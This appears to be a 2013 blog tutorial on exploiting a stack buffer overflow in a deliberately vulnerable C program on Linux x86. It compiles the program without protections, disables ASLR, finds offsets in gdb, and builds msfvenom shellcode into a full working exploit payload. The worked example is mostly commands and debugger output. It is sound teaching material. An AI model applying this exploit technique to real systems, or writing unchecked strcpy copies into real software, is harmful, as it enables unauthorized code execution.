Friday, November 29, 2013

Linux Buffer Overflow Tutorial

LINUX BUFFER OVERFLOW TUTORIAL BY 1N3

                          

      `7MN.   `7MF'       
 __,    MMN.    M         
`7MM    M YMb   M  pd""b. 
  MM    M  `MN. M (O)  `8b
  MM    M   `MM.M      ,89
  MM    M     YMM    ""Yb.
.JMML..JML.    YM       88
                  (O)  .M'
                   bmmmd' 
                          

# OVERVIEW
This tutorial covers the basics of exploiting buffer overflows on Linux x86 platforms. Tested on BackTrack 5R3 Linux 3.2.6 i686 GNU/Linux.




# CREATE A VULNERABLE C APP THAT ACCEPTS USER INPUT WITH A TOTAL BUFFER OF 100 BYTES BUT NO BOUNDS CHECKING...

########################## test.c
#include <unistd.h>

int main(int argc, char *argv[])
{
    char buff[100];
    if(argc <2)
    {
        printf("Syntax: %s <input string>\n", argv[0]);
        exit (0);
    }
    strcpy(buff, argv[1]);
    return 1;
}

# COMPILING 
gcc test.c -fno-stack-protector -z execstack -o test.o

# DISABLE MEMORY RANDOMIZATION
echo 0 > /proc/sys/kernel/randomize_va_space

# DEBUG THE APPLICATION
gdb test.o

(gdb) disass main
Dump of assembler code for function main:
   0x08048454 <+0>:    push   %ebp
   0x08048455 <+1>:    mov    %esp,%ebp
   0x08048457 <+3>:    and    $0xfffffff0,%esp
   0x0804845a <+6>:    add    $0xffffff80,%esp
   0x0804845d <+9>:    cmpl   $0x1,0x8(%ebp)
   0x08048461 <+13>:    jg     0x8048484 <main+48>
   0x08048463 <+15>:    mov    0xc(%ebp),%eax
   0x08048466 <+18>:    mov    (%eax),%eax
   0x08048468 <+20>:    mov    %eax,0x4(%esp)
   0x0804846c <+24>:    movl   $0x8048570,(%esp)
   0x08048473 <+31>:    call   0x8048374 <printf@plt>
   0x08048478 <+36>:    movl   $0x0,(%esp)
   0x0804847f <+43>:    call   0x8048384 <exit@plt>
   0x08048484 <+48>:    mov    0xc(%ebp),%eax
   0x08048487 <+51>:    add    $0x4,%eax
   0x0804848a <+54>:    mov    (%eax),%eax
   0x0804848c <+56>:    mov    %eax,0x4(%esp)
   0x08048490 <+60>:    lea    0x1c(%esp),%eax
   0x08048494 <+64>:    mov    %eax,(%esp)
   0x08048497 <+67>:    call   0x8048364 <strcpy@plt>
   0x0804849c <+72>:    mov    $0x1,%eax
   0x080484a1 <+77>:    leave
   0x080484a2 <+78>:    ret   
End of assembler dump.

# SET BREAKPOINTS
(gdb) break *0x08048497
Breakpoint 1 at 0x8048497
(gdb) break *0x0804849c
Breakpoint 2 at 0x804849c
(gdb) break *0x080484a1
Breakpoint 3 at 0x80484a1

# FUZZ THE APPLICATION, OVERWRITE THE BUFFER AND CHECK IF ANY REGISTERS ARE OVERWRITTEN...
(gdb) r "`perl -e 'print "A"x120'`"
Starting program: /mnt/sdb/nonxero/scripts/fuzzers/test.o "`perl -e 'print "A"x120'`"
Breakpoint 1, 0x08048497 in main ()

# REGISTERS BEFORE USER INPUT
(gdb) info registers
eax            0xbffff72c    -1073744084
ecx            0x85b7641f    -2051578849
edx            0x2    2
ebx            0xb7fc5ff4    -1208197132
esp            0xbffff710    0xbffff710
ebp            0xbffff798    0xbffff798
esi            0x0    0
edi            0x0    0
eip            0x8048497    0x8048497 <main+67>
eflags         0x200286    [ PF SF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)

Breakpoint 2, 0x0804849c in main ()
(gdb) info registers
eax            0xbffff72c    -1073744084
ecx            0x0    0
edx            0x79    121
ebx            0xb7fc5ff4    -1208197132
esp            0xbffff710    0xbffff710
ebp            0xbffff798    0xbffff798
esi            0x0    0
edi            0x0    0
eip            0x804849c    0x804849c <main+72>
eflags         0x200246    [ PF ZF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

# CHECK EAX REGISTER FOR A's (0x41)...
(gdb) x/16xb $eax
0xbffff72c:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff734:    0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

Breakpoint 3, 0x080484a1 in main ()
(gdb) info registers
eax            0x1    1
ecx            0x0    0
edx            0x79    121
ebx            0xb7fc5ff4    -1208197132
esp            0xbffff710    0xbffff710
ebp            0xbffff798    0xbffff798
esi            0x0    0
edi            0x0    0
eip            0x80484a1    0x80484a1 <main+77>
eflags         0x200246    [ PF ZF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

(gdb) step
Single stepping until exit from function main,
which has no line number information.
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x41414141: Input/output error.

0x41414141 in ?? ()
(gdb)

# EBP AND EIP ARE OVERWRITTEN WITH A'S (0x41414141)
(gdb) info registers
eax            0x1    1
ecx            0x0    0
edx            0x79    121
ebx            0xb7fc5ff4    -1208197132
esp            0xbffff7a0    0xbffff7a0
ebp            0x41414141    0x41414141
esi            0x0    0
edi            0x0    0
eip            0x41414141    0x41414141
eflags         0x200246    [ PF ZF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


# Find which bytes overwrite EIP and EBP. change EBP to normal EBP before buffer and point EIP to beginning of EAX...

# EIP prior to user input
EIP 0xbffff72c

# EBP prior to user input
EBP  0xbffff798


# CREATE UNIQUE PATTERN TO FIND EIP/EBP OVERWRITE...
msf exploit(ms06_040_netapi) > ruby pattern_create.rb 120
[*] exec: ruby pattern_create.rb 120
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9



# FUZZ TEST.C WITH UNIQUE PATTERN TO FIND REGISTER OFFSET VALUES
(gdb) r "`perl -e 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"'`"
Starting program: /mnt/sdb/nonxero/scripts/fuzzers/test.o "`perl -e 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"'`"
Breakpoint 1, 0x08048497 in main ()

(gdb) info registers
eax            0xbffff72c    -1073744084
ecx            0x72698d95    1919520149
edx            0x2    2
ebx            0xb7fc5ff4    -1208197132
esp            0xbffff710    0xbffff710
ebp            0xbffff798    0xbffff798
esi            0x0    0
edi            0x0    0
eip            0x8048497    0x8048497 <main+67>
eflags         0x200286    [ PF SF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
(gdb)


# FIND EIP OFFSET
msf exploit(ms06_040_netapi) > ruby pattern_offset.rb 64413764
[*] exec: ruby pattern_offset.rb 64413764
[*] Exact match at offset 112


# FIND EBP OFFSET
msf exploit(ms06_040_netapi) > ruby pattern_offset.rb 41366441
[*] exec: ruby pattern_offset.rb 41366441
[*] Exact match at offset 108


# CREATE SHELLCODE USING METASPLOIT TO RUN THE LINUX COMMAND 'whoami'...
msf exploit(ms06_040_netapi) > msfvenom -p linux/x86/exec CMD=whoami -b "x00" -e x86/shikata_ga_nai

[*] x86/shikata_ga_nai succeeded with size 69 (iteration=1)
buf =
"\xbf\x3c\x3f\x42\x4f\xdd\xc1\xd9\x74\x24\xf4\x58\x2b\xc9" +
"\xb1\x0b\x31\x78\x14\x83\xe8\xfc\x03\x78\x10\xde\xca\x28" +
"\x44\x46\xac\xff\x3c\x1e\xe3\x9c\x49\x39\x93\x4d\x39\xad" +
"\x64\xfa\x92\x4f\x0c\x94\x65\x6c\x9c\x80\x71\x72\x21\x51" +
"\x09\x1a\x4e\x30\x98\xb3\x90\xe5\x31\xca\x70\xc4\x36"

# EIP LITTLE ENDIAN
EIP 0xbffff72c
\x2c\xf7\xff\xbf

# EBP LITTLE ENDIAN
EBP  0xbffff798
\x98\xf7\xff\xbf


# CONSTRUCT BUFFER/EXPLOIT
total buff = 116
EIP = 4
EBP = 4
shellcode = 69
noops = 39


buffer = noops + shellcode + noops + ebp + eip
/================================================\
||116 *** 19 ****** 69 ******* 20 ***** 4 **** 4||
\================================================/

# RUN EXPLOIT...
(gdb) r "`perl -e 'print "\x90"x19, "\xbf\x3c\x3f\x42\x4f\xdd\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x31\x78\x14\x83\xe8\xfc\x03\x78\x10\xde\xca\x28\x44\x46\xac\xff\x3c\x1e\xe3\x9c\x49\x39\x93\x4d\x39\xad\x64\xfa\x92\x4f\x0c\x94\x65\x6c\x9c\x80\x71\x72\x21\x51\x09\x1a\x4e\x30\x98\xb3\x90\xe5\x31\xca\x70\xc4\x36", "\x90"x20, "\x98\xf7\xff\xbf", "\x2c\xf7\xff\xbf"'`"
Starting program: /mnt/sdb/nonxero/scripts/fuzzers/test.o "`perl -e 'print "\x90"x19, "\xbf\x3c\x3f\x42\x4f\xdd\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x31\x78\x14\x83\xe8\xfc\x03\x78\x10\xde\xca\x28\x44\x46\xac\xff\x3c\x1e\xe3\x9c\x49\x39\x93\x4d\x39\xad\x64\xfa\x92\x4f\x0c\x94\x65\x6c\x9c\x80\x71\x72\x21\x51\x09\x1a\x4e\x30\x98\xb3\x90\xe5\x31\xca\x70\xc4\x36", "\x90"x20, "\x98\xf7\xff\xbf", "\x2c\xf7\xff\xbf"'`"
process 16807 is executing new program: /bin/bash
process 16807 is executing new program: /usr/bin/whoami
root

Program exited normally.
(gdb)

No comments:

Post a Comment